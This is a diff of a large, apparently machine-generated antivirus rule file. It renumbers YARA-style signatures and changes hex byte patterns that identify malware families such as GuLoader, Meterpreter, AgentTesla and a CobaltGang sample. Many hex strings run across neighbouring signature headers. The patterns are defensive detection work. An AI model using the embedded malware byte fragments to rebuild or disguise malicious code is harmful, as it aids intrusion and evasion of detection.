"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87866,7 +93239,7 @@ rule _InfrastructureShared_8279{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*23808) >=2 } -rule _InfrastructureShared_8280{ +rule _InfrastructureShared_8780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87877,7 +93250,7 @@ rule _InfrastructureShared_8280{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-11683) >=2 } -rule _InfrastructureShared_8281{ +rule _InfrastructureShared_8781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87888,7 +93261,7 @@ rule _InfrastructureShared_8281{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-11683) >=2 } -rule _InfrastructureShared_8282{ +rule _InfrastructureShared_8782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87899,7 +93272,7 @@ rule _InfrastructureShared_8282{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-11683) >=2 } -rule _InfrastructureShared_8283{ +rule _InfrastructureShared_8783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87910,18 +93283,30 @@ rule _InfrastructureShared_8283{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_8284{ +rule _InfrastructureShared_8784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 43 6f 62 50 69 70 65 2e 41 00 01 00 42 01 c7 44 24 28 5c 00 00 00 c7 44 24 24 65 00 00 00 c7 44 24 20 70 00 00 00 c7 44 24 1c 69 00 00 00 c7 44 24 18 70 00 00 00 f7 f1 c7 44 24 14 5c 00 00 00 c7 44 24 10 2e 00 } //21283 - $a_44_1 = {0c 5c 00 00 00 01 00 18 03 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 90 11 03 00 90 00 00 00 78 80 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 41 4c 5f 43 52 49 4d 45 5f 43 6f 62 61 6c 74 47 61 6e 67 5f 4d 61 6c 77 61 72 65 5f 4f 63 74 31 39 5f 31 00 01 00 10 01 0f 44 c2 eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d 01 00 10 01 89 e5 53 8b 55 08 8b 4d 0c 8a 1c 01 88 1c 02 83 01 00 10 01 89 e5 53 8b 55 08 8b 45 0c 8a 1c 0a 88 1c 08 83 00 00 78 80 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 4e 53 49 53 5f 49 6e 73 74 61 6c 6c 65 72 00 } //0 + $a_44_1 = {0c 5c 00 00 00 01 00 18 03 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 90 11 03 00 90 00 00 00 78 80 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 75 73 68 65 64 42 69 73 63 75 69 74 2e 41 21 64 68 61 00 01 00 0d 01 00 6e 6f 74 20 6f 63 63 75 70 79 2e 0a 01 00 1a 42 48 b9 4e 65 74 77 6f 72 6b 5c 48 39 08 75 90 01 01 81 78 08 43 6f 6f 6b 90 00 01 00 1d 42 41 b8 20 00 00 00 48 8d 95 90 01 01 00 00 00 b9 10 00 00 00 ff d0 3d 04 00 00 c0 90 00 00 00 78 80 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 } //0 condition: ((#a_46_0 & 1)*21283+(#a_44_1 & 1)*0) >=2 } -rule _InfrastructureShared_8285{ +rule _InfrastructureShared_8785{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 75 73 68 65 64 42 69 73 63 75 69 74 2e 41 21 64 68 61 00 01 00 0d 01 00 6e 6f 74 20 6f 63 63 75 70 79 2e 0a 01 00 1a 42 48 b9 4e 65 74 77 6f 72 6b 5c 48 39 08 75 90 01 01 81 78 08 43 } //16675 + $a_90_1 = {01 00 1d 42 41 b8 20 00 00 00 48 8d 95 90 01 01 00 00 00 b9 10 00 00 00 ff d0 3d 04 00 00 c0 90 00 00 00 78 80 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 41 4c 5f 43 52 49 4d 45 5f 43 6f 62 61 6c 74 47 61 6e 67 5f 4d 61 6c 77 61 72 65 5f 4f 63 74 31 39 5f 31 00 01 00 } //28527 + $a_44_2 = {eb 0a 31 c0 80 fa 20 0f 94 c0 01 c0 5d 01 00 } //272 + condition: + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*28527+(#a_44_2 & 1)*272) >=2 + +} +rule _InfrastructureShared_8786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -87933,7 +93318,7 @@ rule _InfrastructureShared_8285{ ((#a_46_0 & 1)*16675+(#a_e5_1 & 1)*272+(#a_65_2 & 1)*26977) >=2 } -rule _InfrastructureShared_8286{ +rule _InfrastructureShared_8787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -87945,7 +93330,7 @@ rule _InfrastructureShared_8286{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8307+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_8287{ +rule _InfrastructureShared_8788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -87957,7 +93342,7 @@ rule _InfrastructureShared_8287{ ((#a_54_0 & 1)*18467+(#a_9b_1 & 1)*-25858+(#a_33_2 & 1)*26967) >=2 } -rule _InfrastructureShared_8288{ +rule _InfrastructureShared_8789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -87968,7 +93353,7 @@ rule _InfrastructureShared_8288{ ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*32766) >=2 } -rule _InfrastructureShared_8289{ +rule _InfrastructureShared_8790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -87981,7 +93366,7 @@ rule _InfrastructureShared_8289{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25454+(#a_45_2 & 1)*20306+(#a_4d_3 & 1)*28257) >=2 } -rule _InfrastructureShared_8290{ +rule _InfrastructureShared_8791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -87994,7 +93379,7 @@ rule _InfrastructureShared_8290{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*-1+(#a_90_2 & 1)*513+(#a_83_3 & 1)*-30362) >=2 } -rule _InfrastructureShared_8291{ +rule _InfrastructureShared_8792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -88005,7 +93390,7 @@ rule _InfrastructureShared_8291{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*27247) >=3 } -rule _InfrastructureShared_8292{ +rule _InfrastructureShared_8793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88016,7 +93401,7 @@ rule _InfrastructureShared_8292{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-14029) >=3 } -rule _InfrastructureShared_8293{ +rule _InfrastructureShared_8794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88027,43 +93412,67 @@ rule _InfrastructureShared_8293{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*26160) >=3 } -rule _InfrastructureShared_8294{ +rule _InfrastructureShared_8795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4b 47 36 34 21 64 68 61 00 01 00 24 00 45 00 76 00 65 00 6e 00 74 00 20 00 4e 00 6f 00 74 00 69 00 66 00 69 00 63 00 65 00 74 00 69 00 6f 00 6e 00 01 00 12 01 50 6f 73 69 74 69 76 65 2e 64 6c 6c 00 69 } //18467 - $a_78_1 = {00 15 01 73 74 6f 72 36 34 2e 64 6c 6c 00 69 6e 69 74 54 68 72 65 61 64 00 00 01 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 4a 4c 00 01 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 } //25710 - $a_57_2 = {4e 44 4f 57 53 5c 73 79 73 74 65 6d 5c 73 79 73 74 65 6d 33 32 2e 65 78 65 01 00 17 02 68 74 74 70 3a 2f 2f 77 77 77 2e 90 02 16 2e 63 6f 6d 2e 62 72 90 00 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 } //28 + $a_78_1 = {00 15 01 73 74 6f 72 36 34 2e 64 6c 6c 00 69 6e 69 74 54 68 72 65 61 64 00 00 01 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 54 21 4d 54 42 00 01 00 23 81 01 73 75 66 66 75 73 69 6f 6e 20 75 6e 61 64 6f 70 74 20 65 6c 65 } //25710 + $a_74_2 = {6b 6b 65 6e 65 72 6e 65 73 01 00 16 81 01 61 61 6e 64 65 76 65 72 64 65 6e 73 20 64 6f 67 6c 70 70 65 6e 73 01 00 0b 81 01 69 6e 64 69 73 6b 65 2e 65 78 65 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 4a 4c 00 01 00 12 00 55 52 4c } //25965 condition: - ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*25710+(#a_57_2 & 1)*28) >=3 + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*25710+(#a_74_2 & 1)*25965) >=3 } -rule _InfrastructureShared_8295{ +rule _InfrastructureShared_8796{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 54 21 4d 54 42 00 01 00 23 81 01 73 75 66 66 75 73 69 6f 6e 20 75 6e 61 64 6f 70 74 20 65 6c 65 6d 65 6e 74 6b 6b 6b 65 6e 65 72 6e 65 73 01 00 16 81 01 61 61 6e 64 65 76 65 } //18467 + $a_6e_1 = {20 64 6f 67 6c 70 70 65 6e 73 01 00 0b 81 01 69 6e 64 69 73 6b 65 2e 65 78 65 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 4a 4c 00 01 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 } //25714 + $a_57_2 = {4e 44 4f 57 53 5c 73 79 73 74 65 6d 5c 73 79 73 74 65 6d 33 32 2e 65 78 65 01 00 17 02 68 74 74 70 3a 2f 2f 77 77 77 2e 90 02 16 2e 63 6f 6d 2e 62 72 90 00 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 } //28 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25714+(#a_57_2 & 1)*28) >=3 + +} +rule _InfrastructureShared_8797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 4a 4c 00 01 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 1c 00 5c 57 49 4e 44 4f 57 53 5c 73 79 73 74 65 6d 5c 73 79 73 74 65 6d 33 32 } //18467 $a_65_1 = {00 17 02 68 74 74 70 3a 2f 2f 77 77 77 2e 90 02 16 2e 63 6f 6d 2e 62 72 90 00 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 48 57 00 01 00 12 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c } //25902 - $a_5c_2 = {54 4c 01 00 1b 02 73 76 63 68 6f 73 74 2e 65 78 65 00 90 02 08 6a 00 90 02 08 68 00 00 00 c0 90 00 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 54 31 32 33 21 4d 54 42 00 01 00 16 81 01 75 6e 73 69 6d 69 6c 61 72 6c 79 20 61 65 6f 6c 6f 64 69 63 6f } //26736 + $a_5c_2 = {54 4c 01 00 1b 02 73 76 63 68 6f 73 74 2e 65 78 65 00 90 02 08 6a 00 90 02 08 68 00 00 00 c0 90 00 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 56 30 31 21 4d 54 42 00 01 00 28 81 01 75 62 6c 69 64 65 73 20 76 61 72 6d 65 73 6c 61 6e 67 65 62 65 6b 65 } //26736 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25902+(#a_5c_2 & 1)*26736) >=3 } -rule _InfrastructureShared_8296{ +rule _InfrastructureShared_8798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 6d 61 6c 6c 2e 48 57 00 01 00 12 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c } //18467 $a_02_1 = {73 76 63 68 6f 73 74 2e 65 78 65 00 [0-08] 6a 00 [0-08] 68 00 00 00 c0 } //1 - $a_80_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 54 31 32 33 21 4d 54 42 00 01 00 16 81 01 75 6e 73 69 6d 69 6c 61 72 6c 79 20 61 65 6f 6c 6f 64 69 63 6f 6e 01 00 20 81 01 73 61 6c 67 73 69 6e 64 73 61 74 73 20 73 6d 69 6c 69 74 72 74 20 6b 72 65 73 74 6f 6d 61 74 69 01 00 11 81 01 70 69 6e 6c 69 67 73 74 65 73 } // 0 + $a_80_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 56 30 31 21 4d 54 42 00 01 00 28 81 01 75 62 6c 69 64 65 73 20 76 61 72 6d 65 73 6c 61 6e 67 65 62 65 6b 65 6e 64 74 67 72 65 6c 73 65 72 6e 65 73 2e 65 78 65 01 00 11 81 01 73 6b 72 69 76 65 6b 6f 6d 6d 61 6e 64 6f 65 6e 73 01 00 10 81 01 69 73 6f 6b 65 72 61 75 6e } // 0 condition: ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*1+(#a_80_2 & 1)*0) >=3 } -rule _InfrastructureShared_8297{ +rule _InfrastructureShared_8799{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 56 30 31 21 4d 54 42 00 01 00 28 81 01 75 62 6c 69 64 65 73 20 76 61 72 6d 65 73 6c 61 6e 67 65 62 65 6b 65 6e 64 74 67 72 65 6c 73 65 72 6e 65 73 2e 65 78 65 01 00 11 81 01 73 6b 72 69 76 65 6b } //18467 + $a_61_1 = {64 6f 65 6e 73 01 00 10 81 01 69 73 6f 6b 65 72 61 75 6e 6f 70 68 6f 6e 69 63 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 54 31 32 33 21 4d 54 42 00 01 00 16 81 01 75 6e 73 69 6d 69 6c 61 72 6c 79 20 61 65 6f 6c 6f 64 69 63 6f 6e 01 00 20 81 01 73 61 6c 67 73 } //28015 + $a_73_2 = {74 73 20 73 6d 69 6c 69 74 72 74 20 6b 72 65 73 74 6f 6d 61 74 69 01 00 11 81 01 70 69 6e 6c 69 67 73 74 65 73 20 70 65 64 72 6f 73 00 00 78 80 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 4e 31 32 33 21 4d 54 42 00 01 00 26 81 01 6d 61 63 61 72 } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28015+(#a_73_2 & 1)*28265) >=3 + +} +rule _InfrastructureShared_8800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88075,7 +93484,7 @@ rule _InfrastructureShared_8297{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25970+(#a_81_2 & 1)*1) >=3 } -rule _InfrastructureShared_8298{ +rule _InfrastructureShared_8801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88087,7 +93496,7 @@ rule _InfrastructureShared_8298{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28769+(#a_65_2 & 1)*29811) >=3 } -rule _InfrastructureShared_8299{ +rule _InfrastructureShared_8802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88099,7 +93508,7 @@ rule _InfrastructureShared_8299{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25966+(#a_00_2 & 1)*25462) >=3 } -rule _InfrastructureShared_8300{ +rule _InfrastructureShared_8803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88111,7 +93520,7 @@ rule _InfrastructureShared_8300{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*30291+(#a_01_2 & 1)*5631) >=3 } -rule _InfrastructureShared_8301{ +rule _InfrastructureShared_8804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88123,7 +93532,7 @@ rule _InfrastructureShared_8301{ ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*1025+(#a_14_2 & 1)*-30432) >=3 } -rule _InfrastructureShared_8302{ +rule _InfrastructureShared_8805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -88134,7 +93543,7 @@ rule _InfrastructureShared_8302{ ((#a_72_0 & 1)*22051+(#a_20_1 & 1)*-28440) >=3 } -rule _InfrastructureShared_8303{ +rule _InfrastructureShared_8806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -88147,7 +93556,7 @@ rule _InfrastructureShared_8303{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*22574+(#a_73_2 & 1)*29796+(#a_6e_3 & 1)*28013) >=3 } -rule _InfrastructureShared_8304{ +rule _InfrastructureShared_8807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -88160,7 +93569,7 @@ rule _InfrastructureShared_8304{ ((#a_77_0 & 1)*16675+(#a_6c_1 & 1)*29545+(#a_76_2 & 1)*21348+(#a_6b_3 & 1)*27074) >=3 } -rule _InfrastructureShared_8305{ +rule _InfrastructureShared_8808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -88174,7 +93583,7 @@ rule _InfrastructureShared_8305{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*24933+(#a_ca_2 & 1)*-16279+(#a_00_3 & 1)*21581+(#a_e8_4 & 1)*-2) >=3 } -rule _InfrastructureShared_8306{ +rule _InfrastructureShared_8809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -88183,12 +93592,12 @@ rule _InfrastructureShared_8306{ $a_00_1 = {64 65 63 72 79 70 74 6f 72 } //1 decryptor $a_00_2 = {4c 6f 63 61 6c 20 70 72 69 76 61 74 65 2e 6b 65 79 20 66 69 6c 65 20 66 6f 75 6e 64 } //1 Local private.key file found $a_80_3 = {00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 69 6c 75 72 6f 70 68 69 6c 65 53 74 65 61 6c 65 72 2e 41 49 4c 21 4d 54 42 00 02 00 1f 01 8b c0 53 56 57 55 8b f0 8b c6 e8 8f 02 fe ff 8b e8 55 e8 5b 85 fe ff 83 f8 01 1b db 43 84 db 02 00 23 01 8b f8 55 e8 0c 86 fe ff 83 f8 ff 74 1e f6 c4 04 74 19 a8 10 74 15 8b c6 e8 5b 02 fe } // 0 - $a_f9_4 = {fe ff 00 00 78 80 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4e 6f 6f 6e 2e 53 4e 4b 21 4d 54 42 00 02 00 27 01 06 11 07 8f 79 00 00 01 25 4f 23 9a 99 99 99 99 99 f1 3f 5a 57 00 11 05 17 58 13 05 11 05 03 fe 04 13 08 11 08 2d a7 02 00 26 81 01 41 6d 61 7a 69 6e 67 4d 61 6e 64 65 6c 62 72 6f 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 80 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 65 74 65 72 70 72 65 74 65 72 2e 46 21 61 74 74 6b 00 03 00 19 01 72 62 00 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 2e 69 6e 69 00 01 00 14 01 55 89 e5 83 ec 18 8b 45 08 89 45 f4 8b 45 f4 ff d0 90 c9 c3 01 00 21 } //20735 + $a_f9_4 = {fe ff 00 00 78 80 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4e 6f 6f 6e 2e 53 4e 4b 21 4d 54 42 00 02 00 27 01 06 11 07 8f 79 00 00 01 25 4f 23 9a 99 99 99 99 99 f1 3f 5a 57 00 11 05 17 58 13 05 11 05 03 fe 04 13 08 11 08 2d a7 02 00 26 81 01 41 6d 61 7a 69 6e 67 4d 61 6e 64 65 6c 62 72 6f 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 80 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 41 56 49 21 4d 54 42 00 02 00 2a 01 16 2d fb 00 2b 26 2b 2b 16 2d 1c 2b 29 2c 18 2b 28 8e 69 1f 64 31 10 72 83 00 00 70 2b 1e 2b 1f 2b 20 16 2d 02 de 2e 14 2b 1f 02 00 } //20735 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_80_3 & 1)*0+(#a_f9_4 & 1)*20735) >=3 } -rule _InfrastructureShared_8307{ +rule _InfrastructureShared_8810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -88199,42 +93608,40 @@ rule _InfrastructureShared_8307{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*8960) >=4 } -rule _InfrastructureShared_8308{ +rule _InfrastructureShared_8811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4e 6f 6f 6e 2e 53 4e 4b 21 4d 54 42 00 02 00 27 01 06 11 07 8f 79 00 00 01 25 4f 23 9a 99 99 99 99 99 f1 3f 5a 57 00 11 05 17 58 13 05 11 05 03 fe 04 13 08 11 08 2d a7 02 00 26 81 01 } //16675 - $a_7a_1 = {6e 67 4d 61 6e 64 65 6c 62 72 6f 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 80 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4d 65 74 65 72 70 72 65 74 65 72 2e 46 21 61 74 74 6b 00 03 00 19 01 72 62 00 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 } //27969 + $a_7a_1 = {6e 67 4d 61 6e 64 65 6c 62 72 6f 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 80 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 41 56 49 21 4d 54 42 00 02 00 2a 01 16 2d fb 00 2b 26 2b 2b 16 2d } //27969 condition: ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*27969) >=4 } -rule _InfrastructureShared_8309{ +rule _InfrastructureShared_8812{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 41 56 49 21 4d 54 42 00 02 00 2a 01 16 2d fb 00 2b 26 2b 2b 16 2d 1c 2b 29 2c 18 2b 28 8e 69 1f 64 31 10 72 83 00 00 70 2b 1e 2b 1f 2b } //21539 + $a_02_1 = {de 2e 14 2b 1f 02 00 20 03 dd b5 00 00 00 90 01 05 38 8c 00 00 00 38 91 00 00 00 1a 2c 5a 90 01 05 38 8a 00 00 00 0d 90 00 00 00 78 80 } //5664 + condition: + ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*5664) >=4 + +} +rule _InfrastructureShared_8813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4d 65 74 65 72 70 72 65 74 65 72 2e 46 21 61 74 74 6b 00 03 00 19 01 72 62 00 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 2e 69 6e 69 00 01 00 14 01 55 89 e5 83 ec 18 8b 45 08 89 45 f4 8b 45 f4 ff d0 90 c9 } //16675 - $a_e5_2 = {83 ec 30 48 89 4d 10 48 8b 45 10 48 89 45 f8 48 8b 45 f8 ff d0 90 48 83 c4 30 5d c3 00 00 78 80 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 61 77 34 30 00 02 00 0b 80 01 75 70 63 6c 69 63 6b 2e 63 6f 6d 01 00 13 80 01 50 6c 61 79 61 53 44 4b 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 14 80 01 70 6c 61 79 61 2d 6e 65 78 74 2d 6f 66 66 } //18517 + $a_e5_2 = {83 ec 30 48 89 4d 10 48 8b 45 10 48 89 45 f8 48 8b 45 f8 ff d0 90 48 83 c4 30 5d c3 00 00 78 80 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 49 6e 6a 65 63 74 2e 53 52 21 4d 54 42 00 01 00 14 00 8d 84 b5 58 fe ff ff 50 8b cb 2b 4d f0 8b 55 f0 8b 45 ec e8 01 00 10 81 01 74 46 69 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 55 01 00 12 81 01 5b 49 